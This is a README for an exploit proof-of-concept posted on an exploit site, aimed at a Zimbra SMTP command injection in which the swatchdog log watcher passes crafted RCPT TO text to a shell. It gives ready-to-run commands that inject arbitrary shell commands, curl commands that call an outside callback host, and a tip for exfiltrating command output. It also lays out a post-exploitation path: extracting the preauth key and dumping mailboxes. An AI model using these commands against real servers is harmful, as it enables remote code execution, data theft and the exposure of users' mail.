## https://sploitus.com/exploit?id=D55C313C-DC36-5AB4-90A4-AEF13DB60410
# CVE-2026-73570 PoC - SMTP Command Injection Tester
A custom, low-level Python proof-of-concept (PoC) script for testing SMTP command injection vulnerabilities (CVE-2026-73570).
This tool sends a malformed `RCPT TO` address containing shell-style command substitution (e.g., `$(command)`) to determine if the target mail server or its downstream processing pipeline improperly passes the address through a shell without sanitization.
> **⚠️ DISCLAIMER:** This tool is intended for educational purposes and authorized security testing ONLY. Ensure you have explicit permission to test the target infrastructure. Unauthorized scanning or exploitation of mail servers is illegal.
## Bug Info (Targeting Zimbra)
Not every Zimbra box is vulnerable. All of these conditions must be true:
1. The optional `zimbra-snmp` package is installed (often prompted at installation).
2. SNMP trap notifications are enabled (`snmp_notify`).
3. The `swatchdog` service is running (on by default).
**Attack Surface:** The attack does **not** need SNMP (UDP/161/162) exposed to the attacker. The malicious input arrives over standard SMTP.
### The Root Cause
The `swatchdog` process tails `/var/log/zimbra.log` using configuration from `/opt/zimbra/conf/swatchrc.in`. It actively matches log entries using the following regular expressions:
```regex
/: Service status change: (\S+) (.*) changed from stopped to running/
/: Service status change: (\S+) (.*) changed from running to stopped/
```
The `(.*)` capture group is treated as a service name. The `dosnmp` script then interpolates that captured text directly into a Perl backtick `snmptrap` command. Because Perl backticks execute via the system shell, any shell metacharacters captured in `(.*)` are evaluated and executed.
### The Injection Vector
Attackers get the malicious text into the log by sending an SMTP command (like `RCPT TO`) whose argument looks like a real service-status line. Postfix logs this as illegal address syntax, but `swatchdog` still matches the regex in the log line and passes the payload to the shell.
---
## Features
* **Custom Low-Level SMTP Client:** Bypasses Python's standard `smtplib` internal address validation to send raw, non-RFC-compliant payloads exactly as an attacker would.
* **Auto-Port Scanning:** Automatically scans for open SMTP ports (25, 465, 587) and selects an available one.
* **Implicit SSL/TLS Support:** Automatically negotiates SSL/TLS if targeting port 465 (SMTPS).
* **Custom Payload Injection:** Accepts arbitrary shell commands via the `--command` flag.
* **Clean CLI Interface:** Built with `argparse` for easy integration into testing workflows.
## Prerequisites
* Python 3.6+
* No external dependencies required (uses only Python standard library)
## Installation
Save the script to a file named `CVE-2026-73570.py` (or any name you prefer):
```bash
# Example: download or create the file
nano CVE-2026-73570.py
```
## Usage
You can run the script in several ways depending on your testing scenario.
### 1. Automatic Scan and Execute
If you don't specify a port, the script will scan ports 25, 465, and 587, and automatically target the first open one.
```bash
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://your-unique-id.requestrepo.com"
```
### 2. Target a Specific Port
If you already know the target port (e.g., 465), you can skip the scanning guesswork.
```bash
python3 CVE-2026-73570.py --host 127.0.0.1 --port 465 --command "curl http://your-unique-id.requestrepo.com"
```
### 3. Scan Only (Reconnaissance)
If you just want to check which mail ports are open on a target without sending the payload.
```bash
python3 CVE-2026-73570.py --host 127.0.0.1 --scan-only
```
## Command-Line Arguments
| Argument | Short | Description | Default |
|---------------|-------|-------------------------------------------------------------------------|------------------|
| `--host` | `-H` | Target host IP or domain. | `127.0.0.1` |
| `--port` | `-p` | Target port. If omitted, scans 25, 465, 587 and targets an open one. | `None` (Auto) |
| `--command` | `-c` | Shell command to inject into the SMTP payload. | `TEST_PAYLOAD` |
| `--scan-only` | `-s` | Only scan ports and exit without sending the injection payload. | `False` |
## How to Verify the Exploit
Running the script alone only proves that the mail server *receives* the malformed `RCPT TO` address. To confirm the actual command injection without needing direct access to the target's filesystem or logs, use an Out-Of-Band (OOB) callback via HTTP.
1. **Set up a Listener:** Go to [requestrepo.com](https://requestrepo.com/) (or use Burp Suite Collaborator / Webhook.site) and copy your unique URL (e.g., `http://xyz123.requestrepo.com`).
2. **Run the PoC:** Execute the script using `curl` to hit your unique URL:
```bash
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://xyz123.requestrepo.com"
```
3. **Check for Callbacks:** Refresh your Request Repo dashboard. If you see an incoming HTTP GET request, the command injection was successful.
**Pro-Tip (Data Exfiltration):** You can exfiltrate the output of commands by injecting it into the URL path of your callback:
```bash
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://xyz123.requestrepo.com/$(id | tr -d ' ')"
```
*Check your Request Repo dashboard to see the `uid=0(root)` output in the requested path.*
## ⚠️ Important Note: "Access Denied" Does Not Mean "Patch Applied"
During testing, you may receive an SMTP response like this:
```text
[: Recipient address rejected: Access denied
```
**Do NOT assume the vulnerability has failed simply because the address was rejected.**
Many mail servers (like Postfix or Exim) will syntactically accept the payload during the SMTP transaction, but immediately reject the delivery attempt because the domain/recipient isn't in their allowed relay list.
The CVE-2026-73570 vulnerability triggers **after** this rejection occurs. The malicious string flows into `/var/log/zimbra.log` as an illegal address syntax log entry. `swatchdog` tails this log, matches the payload, and passes it to the shell.
Because the payload still reaches these backend systems for logging, the command substitution (`$()`) is still executed. **Always rely on your OOB callback (e.g., Request Repo) to verify success, regardless of the SMTP response code.**
## Post Exploitation
Once command execution is achieved via the `swatchdog` injection, the attacker typically operates as the `zimbra` user. From here, the primary goal is often to access the mailbox data.
To facilitate this next step, you can use **zimbraKing** — a custom tool designed to dump Zimbra mailboxes.
* **Repository:** [https://github.com/jishino567/zimbraKing](https://github.com/jishino567/zimbraKing)
**Usage Scenario:**
During your post-exploitation phase, if you are able to read the Zimbra configuration files and extract the `preAuthKey` (usually found in `/opt/zimbra/conf/localconfig.xml` under the key `zimbra_preauth_key`) or if you obtain valid Zimbra account credentials, you can feed those into **zimbraKing**.
The tool leverages the `preAuthKey` or account credentials to authenticate against the Zimbra SOAP API and systematically dump the target mailbox contents without needing to directly interact with the underlying database or filesystem.
## Why not use `smtplib`?
Python's built-in `smtplib` enforces strict RFC standards. If you try to pass an address containing `"`, `$`, `(`, and `)` through `smtplib.sendmail()`, the library will either mangle the string to make it "safe" or raise a `SMTPRecipientsRefused` exception before the data ever reaches the network. This custom client uses raw sockets to guarantee byte-for-byte delivery of the exploit payload.